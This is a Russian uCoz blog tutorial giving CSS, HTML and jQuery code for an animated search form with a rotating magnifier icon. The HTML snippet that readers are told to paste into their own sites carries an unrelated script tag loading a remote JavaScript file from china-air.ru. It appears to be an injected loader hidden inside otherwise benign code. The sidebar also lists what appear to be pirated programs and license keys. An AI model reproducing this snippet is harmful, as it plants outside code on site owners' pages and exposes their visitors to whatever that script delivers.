Здравствуй, Гость!
Хочешь расширить свои возможности?
Тебе нужно войти под своим логином или зарегистрироваться.
Меню сайта
Статистика
Яндекс.Метрика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Посетили сегодня:
Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz
22:54
Форма поиска для Ucoz
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Просмотров: 503 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль

Самое популярное
» Драйвер принтера HP 1005 для Win 7 ( hp laserjet p1005 )Драйвер принтера HP 1005 для Win 7 ( hp laserjet p1005 )Железо
» Call of Duty 2 (2005, RUS)Call of Duty 2 (2005, RUS)Стрелялки
» Ключ к Антивирусу Касперского 2013 и сама программаКлюч к Антивирусу Касперского 2013 и сама программаЗащита
» Драйвер для принтера Samsung ML-1640Драйвер для принтера Samsung ML-1640Железо
» UPCMC Panasonic PBX Unified Maintenance Console for KX-TDE/KX-NCP/KX-TDA v6.2.1.1_R1UPCMC Panasonic PBX Unified Maintenance Console for KX-TDE/KX-NCP/KX-TDA v6.2.1.1_R1Утилиты
» Операция Трондхейм - Спецотряд (2003)Операция Трондхейм - Спецотряд (2003)Стрелялки
» Nissan X-Trail Т30 - руководство по ремонту и обслуживаниюNissan X-Trail Т30 - руководство по ремонту и обслуживаниюМир авто
» Новые стеклянные темы для Windows 7Новые стеклянные темы для Windows 7Украшения
» Дополнительные скины для AIMP 2 и 3Дополнительные скины для AIMP 2 и 3Украшения
» Magic Camera 6.8.0 ML - Эмулятор Веб камерыMagic Camera 6.8.0 ML - Эмулятор Веб камерыУтилиты
» КОМПАС 3D v13КОМПАС 3D v13Графика
» Adobe Ultra Cs3 Full + Virtual Sets Library 1,2,3Adobe Ultra Cs3 Full + Virtual Sets Library 1,2,3Мультимедиа
» Руководство по эксплуатации и ремонту Skoda Octavia A5 с 2004 гРуководство по эксплуатации и ремонту Skoda Octavia A5 с 2004 гМир авто
» FL studio 9 (полная версия + Русификатор)FL studio 9 (полная версия + Русификатор)Мультимедиа
» Novicorp Win To Flash Portable 0.7.0018 beta. RusNovicorp Win To Flash Portable 0.7.0018 beta. RusУтилиты
Друзья сайта
88x31
88x31
88x31
Хостинг от uCoz